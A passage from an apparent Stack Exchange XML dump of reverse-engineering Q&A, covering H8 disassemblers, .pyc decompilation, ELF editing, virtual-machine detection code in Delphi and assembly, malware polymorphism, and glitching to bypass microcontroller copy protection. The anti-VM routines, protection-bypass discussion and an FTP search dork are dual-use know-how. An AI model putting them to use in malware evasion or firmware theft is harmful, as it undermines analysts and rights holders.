you some further clues. Older TV sets and those from reputable manufacturers tend to come with very detailed diagrams of their electronics where I come from.&lt;/li&gt;&#xA;&lt;li&gt;once you manage to open it up the first thing you'll need in most cases is a magnifying glass ;)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;having that you can figure out whether there is a serial UART or &lt;a href=&quot;https://en.wikipedia.org/wiki/JTAG&quot; rel=&quot;nofollow noreferrer&quot;&gt;JTAG&lt;/a&gt; (contacts labeled TDI, TDO, TCK, TMS, TRST are easy to spot) or other kind of &quot;breakout&quot; possibility. JTAG isn't too useful if you don't know enough about the hardware to safely use boundary scan (voltage etc, you could actually fry your hardware before you get to see results).&lt;/li&gt;&#xA;&lt;li&gt;labels on the chips/processors usually help a lot and then checking over at your local hobbyist website for tinkering with electronic devices.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's it from me. My two cents. I'm sure there are a whole lot of things that I haven't considered in my own searches, so I'm looking forward to other answers.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Yes, using search operators can work to your advantage, such as &lt;code&gt;inurl&lt;/code&gt;, &lt;code&gt;intitle&lt;/code&gt;, &lt;code&gt;filetype&lt;/code&gt; and &lt;code&gt;site&lt;/code&gt; on Google (e.g. &lt;code&gt;search terms intitle:index inurl:ftp&lt;/code&gt;). Unfortunately there doesn't seem to be a standard for search operators and especially meta search engines are very weak on that front, but also Google's competitors, which is sad. There is also one caveat with search operators on Google. You can read about it &lt;a href=&quot;https://webapps.stackexchange.com/questions/41458&quot;&gt;in this question over on webapps.SE&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:25.850" LastActivityDate="2013-04-09T17:49:24.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1684" PostTypeId="1" AcceptedAnswerId="1689" CreationDate="2013-04-09T21:28:14.397" Score="7" ViewCount="2407" Body="&lt;p&gt;IDA Pro can deal with the Renesas H8 processors, but not the free version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any free or low cost (&amp;lt;£100) disassemblers for the Renesas H8 family or processors?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="36" LastEditDate="2013-04-09T22:00:22.917" LastActivityDate="2013-04-09T22:38:10.387" Title="Are there any free or low cost disassemblers for the Renesas H8 family of processors?" Tags="|tools|disassembly|renesas-h8|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1685" PostTypeId="2" ParentId="1684" CreationDate="2013-04-09T21:34:37.780" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://www.pcuf.fi/~rak/computing/h8/dah8300/index.php&quot;&gt;dah8300&lt;/a&gt; is a free disassembler for Renesas H8 binaries, and its &lt;a href=&quot;http://www.pcuf.fi/~rak/computing/h8/dah8300/dah8300.4th&quot;&gt;source code is also freely available&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-04-09T21:34:37.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1686" PostTypeId="1" AcceptedAnswerId="1692" CreationDate="2013-04-09T22:12:45.620" Score="19" ViewCount="27791" Body="&lt;p&gt;What are the different ways for a program to detect that it executes inside a virtualized environment ? And, would it be possible to detect what kind of virtualization is used ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-10T07:45:52.207" LastActivityDate="2017-03-06T22:11:30.490" Title="How to detect a virtualized environment?" Tags="|anti-debugging|virtual-machines|" AnswerCount="8" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1687" PostTypeId="5" CreationDate="2013-04-09T22:21:21.967" Score="0" Body="&lt;p&gt;The Renesas H8 family of microprocessors includes the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.renesas.eu/products/mpumcu/h8/h8300/index.jsp&quot; rel=&quot;nofollow&quot;&gt;H8/300 Series&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.renesas.eu/products/mpumcu/h8/h8300h/index.jsp&quot; rel=&quot;nofollow&quot;&gt;H8/300H Series&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.renesas.eu/products/mpumcu/h8/h8300l/index.jsp&quot; rel=&quot;nofollow&quot;&gt;H8/300L Series&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.renesas.eu/products/mpumcu/h8/h8300h_tiny/index.jsp&quot; rel=&quot;nofollow&quot;&gt;H8/300H Tiny Series&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Tools&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disassemblers&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.pcuf.fi/~rak/computing/h8/dah8300/index.php&quot; rel=&quot;nofollow&quot;&gt;dah8300&lt;/a&gt; is a free and open source disassembler for Rensas H8 binaries.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/index.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA Pro&lt;/a&gt; and &lt;a href=&quot;https://www.hex-rays.com/products/ida/processors.shtml#starter&quot; rel=&quot;nofollow&quot;&gt;IDA Starter&lt;/a&gt; (though not IDA Free)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2013-04-10T04:29:15.137" LastActivityDate="2013-04-10T04:29:15.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1688" PostTypeId="4" CreationDate="2013-04-09T22:21:21.967" Score="0" Body="A family of microprocessors found within embedded devices. Use this tag for questions on reverse engineering products containing H8 or the H8 instruction set." OwnerUserId="36" LastEditorUserId="203" LastEditDate="2013-04-10T04:30:25.970" LastActivityDate="2013-04-10T04:30:25.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1689" PostTypeId="2" ParentId="1684" CreationDate="2013-04-09T22:38:10.387" Score="7" Body="&lt;p&gt;There is an H8 port of GNU binutils (the target is called 'h8300' I believe) which includes &lt;code&gt;objdump&lt;/code&gt;. It seems it's even available in Debian in the package &lt;a href=&quot;http://packages.debian.org/sid/binutils-h8300-hms&quot;&gt;&lt;code&gt;binutils-h8300-hms&lt;/code&gt;&lt;/a&gt; (might be outdated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative GNU-based toolchains for many Renesas processors (including H8) are provided by &lt;a href=&quot;http://www.kpitgnutools.com/&quot;&gt;KPIT&lt;/a&gt; (free but requires registration). I think they've been contributing to mainline too but not sure how's their progress there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for reference, here's how to use &lt;code&gt;objdump&lt;/code&gt; to disassemble a raw binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -m h8300 -b binary -D myfile.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Renesas offers their own commercial compiler/assembler/simulator (and I &lt;em&gt;think&lt;/em&gt; a disassembler too) suite called &lt;a href=&quot;http://am.renesas.com/products/tools/coding_tools/c_compilers_assemblers/h8_compiler/index.jsp&quot;&gt;High-performance Embedded Workshop&lt;/a&gt; (HEW) but I couldn't find out how much it costs. There is a &lt;a href=&quot;http://am.renesas.com/support/downloads/download_results/C2000301-C2000400/evaluation_h8c.jsp&quot;&gt;downloadable evaluation version&lt;/a&gt;, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick look at some hex you can also try the &lt;a href=&quot;http://www.onlinedisassembler.com/odaweb/run_hex&quot;&gt;Online Disassembler&lt;/a&gt;, it has a couple of H8 variants.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-09T22:38:10.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1690" PostTypeId="2" ParentId="42" CreationDate="2013-04-10T01:58:28.023" Score="1" Body="&lt;p&gt;In addition to the software listed by Igor, there are also tools like &lt;a href=&quot;http://code.google.com/p/android-apktool&quot; rel=&quot;nofollow&quot;&gt;apktool&lt;/a&gt; that can be used to decompile code : it transforms dalvik bytecode to smali, a language specific to the dalvik virtual machine (see instructions/opcodes &lt;a href=&quot;http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also edit resources in the application, and build the application back (but it will break the original signature as you will have to re-sign it with your own key)&lt;/p&gt;&#xA;" OwnerDisplayName="user1677" LastActivityDate="2013-04-10T01:58:28.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1691" PostTypeId="2" ParentId="1686" CreationDate="2013-04-10T04:42:54.477" Score="15" Body="&lt;p&gt;There are a multitude of ways to detect virtual machines/emulators, mostly following the pattern of identifying an imperfection in the simulation and then testing for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the simplest end, common virtualization toolkits plaster their name over all kinds of system drivers and devices.  Simply looking at the name of network connections or their MAC address might be sufficient to identify VMware if not specifically configured to mask that.  Likewise, the VM's memory may have plenty of strings that make the virtualization software's presence obvious. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other VM artifacts come from the necessity for both host and guest to have a data structure accessible to the processor that can't overlap, such as the SIDT assembly instruction to return the interrupt descriptor table register.  (IDT)  Virtual machines typically store the IDT at a higher register than a physical host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Measuring the time of certain functions or instructions that would normally require interaction with the virtualization system is a way to indirectly infer you're executing in a VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two approaches come to mind as anti-anti-VM methods:  First, one can modify the virtual environment to remove all traces possible of virtualization, which can work well against simple checks for 'vmware' or similar strings, causing an arms race of sorts between known techniques and crafty vm configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second approach is to rely heavily on static analysis to identify VM detection techniques and patch them to neutralize their effect after doing so to yield a non-VM-aware executable that can then be dynamically analyzed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple sources with good information, if a couple years old:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf&lt;/a&gt; - Peter Ferrie's Attacks on Virtual Machine emulators&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://handlers.sans.org/tliston/ThwartingVMDetection_Liston_Skoudis.pdf&quot; rel=&quot;nofollow&quot;&gt;http://handlers.sans.org/tliston/ThwartingVMDetection_Liston_Skoudis.pdf&lt;/a&gt; - A 2006 presentation on different anti-Vm and anti-anti-VM techniques.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="283" LastEditorUserId="245" LastEditDate="2013-04-17T04:53:40.617" LastActivityDate="2013-04-17T04:53:40.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1692" PostTypeId="2" ParentId="1686" CreationDate="2013-04-10T07:17:35.347" Score="15" Body="&lt;p&gt;the list could be endless, so I'll keep it short:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;virtualized environment artifacts: registry keys, hard disk name, network card address, specific drivers,...&lt;/li&gt;&#xA;&lt;li&gt;environment differences: no mouse, internet connection, sound card,...&lt;/li&gt;&#xA;&lt;li&gt;execution difference: detection of block translation (create another thread and apply statistics on IP), &lt;a href=&quot;https://code.google.com/p/corkami/source/browse/trunk/src/CoST/CoST.asm?r=1593#1363&quot; rel=&quot;nofollow noreferrer&quot;&gt;different system registers values&lt;/a&gt;, ...&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;lack of user interaction (specific for automated environment): no mouse movement, no file operations,...&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;specific environment differences: &lt;a href=&quot;https://code.google.com/p/corkami/source/browse/trunk/src/CoST/CoST.asm?r=1593#2015&quot; rel=&quot;nofollow noreferrer&quot;&gt;VmWare backdoor&lt;/a&gt;, &lt;a href=&quot;https://code.google.com/p/corkami/source/browse/trunk/src/CoST/CoST.asm?r=1593#1900&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualPC exception bug&lt;/a&gt;, ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(check the &lt;a href=&quot;https://reverseengineering.stackexchange.com/tags/anti-debug/info&quot;&gt;anti-debug tag wiki&lt;/a&gt; for more)&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-10T14:15:13.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1693" PostTypeId="2" ParentId="1686" CreationDate="2013-04-10T07:49:35.807" Score="4" Body="&lt;p&gt;In addons on the answers post before, cuckoosandbox implements few yara rules for vm detection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cuckoobox/cuckoo/blob/1884b5579ff8e053b3d4a8523a5da576eee43552/data/yara/binaries/vmdetect.yar&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cuckoobox/cuckoo/blob/1884b5579ff8e053b3d4a8523a5da576eee43552/data/yara/binaries/vmdetect.yar&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1366" LastEditorUserId="13942" LastEditDate="2015-10-24T15:05:05.603" LastActivityDate="2015-10-24T15:05:05.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1694" PostTypeId="1" CreationDate="2013-04-10T07:50:28.797" Score="10" ViewCount="1995" Body="&lt;p&gt;As you might imagine, source code is not available.&#xA;The executable was written using C/C++ and compiled using &lt;code&gt;gcc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what &lt;code&gt;file&lt;/code&gt; has to say about the file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to &lt;code&gt;ldd&lt;/code&gt;, these are the libraries that the program uses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    libssl.so.1.0.0 =&amp;gt; /lib/i386-linux-gnu/libssl.so.1.0.0 (0xf7700000)&#xA;    libcrypto.so.1.0.0 =&amp;gt; /lib/i386-linux-gnu/libcrypto.so.1.0.0 (0xf7554000)&#xA;    libm.so.6 =&amp;gt; /lib/i386-linux-gnu/libm.so.6 (0xf7528000)&#xA;    libc.so.6 =&amp;gt; /lib/i386-linux-gnu/libc.so.6 (0xf737e000)&#xA;    libpthread.so.0 =&amp;gt; /lib/i386-linux-gnu/libpthread.so.0 (0xf7363000)&#xA;    librt.so.1 =&amp;gt; /lib/i386-linux-gnu/librt.so.1 (0xf7359000)&#xA;    libstdc++.so.6 =&amp;gt; /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xf7270000)&#xA;    libdl.so.2 =&amp;gt; /lib/i386-linux-gnu/libdl.so.2 (0xf726b000)&#xA;    libz.so.1 =&amp;gt; /lib/i386-linux-gnu/libz.so.1 (0xf7252000)&#xA;    /lib/ld-linux.so.2 (0xf7789000)&#xA;    libgcc_s.so.1 =&amp;gt; /lib/i386-linux-gnu/libgcc_s.so.1 (0xf7234000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All these libraries are also available in 64bit version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it possible to reassemble the application as 64bit application ?&lt;/li&gt;&#xA;&lt;li&gt;What tools exists to aid with such a thing ? (if possible)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="35" LastEditorUserId="35" LastEditDate="2013-04-10T08:08:44.363" LastActivityDate="2013-04-12T14:39:40.773" Title="Porting Linux executable from 32bit to 64bit" Tags="|disassembly|reassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1695" PostTypeId="2" ParentId="1694" CreationDate="2013-04-10T07:59:07.507" Score="5" Body="&lt;p&gt;Even if it's not in the question, as it would be quite hard to actually reassemble, I hope you can try something else than reassembling, or that it's at least a small and non-obfuscated file.&lt;/p&gt;&#xA;&lt;h1&gt;low level&lt;/h1&gt;&#xA;&lt;p&gt;Reassembling would be &lt;strong&gt;very&lt;/strong&gt; difficult:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tools&lt;/strong&gt;: I can't think of a specific tool to help, beyond IDA and normal reverse engineering methods (I get similar request to port DOS/NE files to PE)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Calling conventions&lt;/strong&gt;: Porting from 32b to 64b will be difficult as calling conventions are different, so they'll need to be rewritten at assembly level. At least, ELF structures are very similar.&lt;/p&gt;&#xA;&lt;h1&gt;high level&lt;/h1&gt;&#xA;&lt;p&gt;Your best bet is to try and decompile via &lt;strong&gt;Hex-Rays Decompiler&lt;/strong&gt; to save the hassle, but it will still require a lot of tedious work before the decompiled code can work as expected.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-12T12:19:09.287" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1696" PostTypeId="1" AcceptedAnswerId="1707" CreationDate="2013-04-10T08:34:49.783" Score="9" ViewCount="7278" Body="&lt;p&gt;Malware use several methods to evade anti-virus software, one is to change their code when they are replicating. I saw mainly three type of techniques in the wild which are: &lt;em&gt;metamorphic malware&lt;/em&gt;, &lt;em&gt;oligomorphic malware&lt;/em&gt; and &lt;em&gt;polymorphic malware&lt;/em&gt; (I might have missed one). What are the main differences between theses techniques and what do they do ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-04-17T04:56:23.347" Title="What are the differences between metamorphic, oligomorphic and polymorphic malware?" Tags="|obfuscation|malware|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1697" PostTypeId="2" ParentId="1696" CreationDate="2013-04-10T09:03:54.113" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;polymorphic code (the generic term) different (different encryption key) code but same result&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;oligomorphic code: pattern-based polymorphism&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://corkami.blogspot.de/2010/01/between-hammer-and-anvil.html&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;2 different executions of some oligomorphic code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV ECX,FC07379C    PUSH 40&#xA;XOR ECX,FC0737DC    PUSH Tada&#xA;PUSH ECX            NOP&#xA;NOP                 PUSH Helloworld&#xA;PUSH Tada           PUSH 0&#xA;NOP                 NOP&#xA;MOV ECX,F8477840    CALL MessageBoxA&#xA;XOR ECX,F80779BC    MOV ECX,0A2EF248&#xA;PUSH ECX            XOR ECX,0A2EF248&#xA;NOP                 PUSH ECX&#xA;PUSH 0              CALL ExitProcess&#xA;CALL MessageBoxA&#xA;PUSH 0&#xA;PUSH 00400136&#xA;PUSH ExitProcess&#xA;CALL $ + 5&#xA;RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Metamorphic_code&quot; rel=&quot;nofollow&quot;&gt;metamorphic&lt;/a&gt; code: polymorphism with auto-mutation - the result is slightly different&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-10T19:02:29.387" LastActivityDate="2013-04-10T19:02:29.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1698" PostTypeId="1" CreationDate="2013-04-10T10:04:44.750" Score="52" ViewCount="32467" Body="&lt;p&gt;The ATmega microcontrollers generally have two lock bits, LB1 and LB2. One prevents further programming, and the other prevents the flash being read back. If both are set, the chip needs to be erased before it can be programmed again. This prevents the flash memory being read out and reverse engineered. Similar mechanisms can be found on many other microcontroller families.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certain other processors have widely documented bypasses e.g. PIC 18F452, where an individual block can be erased and firmware be written to read out other blocks (&lt;a href=&quot;http://www.openpcd.org/images/HID-iCLASS-security.pdf&quot;&gt;documented&lt;/a&gt; in &quot;Heart of Darkness - exploring the uncharted backwaters of HID iCLASSTM security&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From time to time, forum posts are made by companies offering their services to read out protected ATmega chips. There are also sites, generally .ru, that offer these services. Price tends to be around $500-$1500 with a turnaround time of a few weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect at these costs, they are not decapsulating the chip and using a laser probe to reset the fuse bits. I have queried if they return the chip undamaged, but did not get a response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this &lt;a href=&quot;http://www.cl.cam.ac.uk/~sps32/mcu_lock.html&quot;&gt;research&lt;/a&gt; (&quot;Copy Protection in Modern Microcontrollers&quot;), it is mentioned in the section &quot;Non-Invasive Attacks on Microcontrollers&quot; that many microcontrollers can have copy protection bypassed using clock, power or data glitching. However, I have not seen any practical examples or further research in this area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several years ago, glitching was very popular to bypass protection on the smart cards used in satellite TV receivers, but again, I have not found much information here outside of some circuit diagrams of the glitchers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any further information on using glitching to bypass copy protection?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2013-04-10T10:57:53.587" LastActivityDate="2017-02-04T07:56:55.433" Title="Bypassing copy protection in microcontrollers using glitching" Tags="|hardware|copy-protection|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1699" PostTypeId="2" ParentId="42" CreationDate="2013-04-10T10:17:00.350" Score="5" Body="&lt;p&gt;Don't forget &lt;a href=&quot;http://dexter.dexlabs.org/&quot; rel=&quot;noreferrer&quot;&gt;http://dexter.dexlabs.org/&lt;/a&gt; - &lt;em&gt;Dexter is a static android application analysis tool.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-04-10T10:17:00.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1700" PostTypeId="2" ParentId="1686" CreationDate="2013-04-10T14:01:38.127" Score="5" Body="&lt;p&gt;I wrote a test program a while go (in Delphi).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following two functions detect VMware and HyperV&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// VMware detection as described by Elias Bachaalany&#xA;function IsInsideVMware: Boolean;&#xA;begin&#xA;  Result := True;&#xA;&#xA;  try&#xA;    asm&#xA;      push edx;&#xA;      push ecx;&#xA;      push ebx;&#xA;&#xA;      mov eax, 'VMXh';&#xA;      mov ebx, 0;&#xA;      mov ecx, 10;&#xA;      mov edx, 'VX';&#xA;&#xA;      in eax, dx;&#xA;&#xA;      cmp ebx, 'VMXh';&#xA;      setz [Result];&#xA;&#xA;      pop ebx;&#xA;      pop ecx;&#xA;      pop edx;&#xA;    end;&#xA;  except&#xA;    Result := False;&#xA;  end;&#xA;end;&#xA;&#xA;function IsHyperV: Boolean;&#xA;asm&#xA;  cpuid;&#xA;  test ecx, ecx;&#xA;  sets [Result];&#xA;end;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following function checks for Hyper-V via the Vendor Branding string (on VMware this returns &quot;VMwareVMware&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function IsRunningUnderHyperV: BOOL; stdcall;&#xA;var&#xA;  VMBranding: array[0..12] of AnsiChar;&#xA;begin&#xA;  asm&#xA;    mov eax, $40000000;&#xA;    cpuid;&#xA;        mov dword ptr [VMBranding+0], ebx;  // Get the VM branding string&#xA;        mov dword ptr [VMBranding+4], ecx;&#xA;        mov dword ptr [VMBranding+8], edx;&#xA;  end;&#xA;  VMBranding[12] := #0;&#xA;&#xA;  Result := CompareText(String(VMBranding), 'Microsoft Hv') = 0;&#xA;end;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Relevant links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&amp;amp;cmd=displayKC&amp;amp;externalId=1005763&quot; rel=&quot;nofollow&quot;&gt;VMware KB Detecting and Using CPU Features in Applications&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/9823/Detect-if-your-program-is-running-inside-a-Virtual&quot; rel=&quot;nofollow&quot;&gt;Codeproject, Detect if your program is running inside a Virtual Machine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="99" LastEditorUserId="245" LastEditDate="2013-04-17T04:54:15.993" LastActivityDate="2013-04-17T04:54:15.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1701" PostTypeId="1" AcceptedAnswerId="1702" CreationDate="2013-04-10T14:02:31.443" Score="27" ViewCount="94718" Body="&lt;p&gt;Does anybody have a suggestion for (non commercial) software to decompile &quot;byte-code&quot; Python (.pyc) files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything I've found seems to break...&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="53" LastEditDate="2013-04-10T14:27:51.030" LastActivityDate="2021-05-08T00:35:55.750" Title="Decompiling .pyc files" Tags="|tools|decompilation|python|" AnswerCount="7" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1702" PostTypeId="2" ParentId="1701" CreationDate="2013-04-10T14:12:44.663" Score="25" Body="&lt;p&gt;What Python version you're decompiling? Py3k is not well supported, but there are quite a few decompilers for 2.x. One of the latest projects is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Mysterie/uncompyle2&quot;&gt;https://github.com/Mysterie/uncompyle2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It runs on Python 2.7 but supports decompiling 2.5 to 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that some commercial projects has been known to use modified Python interpreters. Modifications can include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bytecode files encryption&lt;/li&gt;&#xA;&lt;li&gt;changed opcode values or additional opcodes&lt;/li&gt;&#xA;&lt;li&gt;a heavily customized runtime (e.g. Stackless Python)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you need to handle this, one approach is to convert non-standard bytecode to standard one and then use the usual decompilers (this apparently was used by the people from above project to decompile Dropbox code). Another is to change the decompiler to directly support the variations.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-10T14:12:44.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1703" PostTypeId="1" AcceptedAnswerId="1710" CreationDate="2013-04-10T17:38:55.013" Score="10" ViewCount="2877" Body="&lt;p&gt;I've hex-edited a string in an Android ELF binary.&lt;br&gt;&#xA;Now, it won't run, and gives the error message &lt;em&gt;CANNOT LINK EXECUTABLE&lt;/em&gt;, presumably due to a bad checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have a tool to fix the checksum? &lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="188" LastEditDate="2013-04-11T16:33:51.407" LastActivityDate="2013-04-11T16:33:51.407" Title="Fixing the checksum of a modified Android ELF" Tags="|tools|android|elf|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1704" PostTypeId="2" ParentId="1703" CreationDate="2013-04-10T17:44:06.677" Score="1" Body="&lt;p&gt;I'd suggest using &lt;a href=&quot;http://hte.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;HT Editor&lt;/a&gt; for all your ELF fun. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HT is a file editor/viewer/analyzer for executables. The goal is to combine the low-level functionality of a debugger and the usability of IDEs. We plan to implement all (hex-)editing features and support of the most important file formats.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's what it's made for. &#xA;There are other tools of course. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-04-10T17:44:06.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
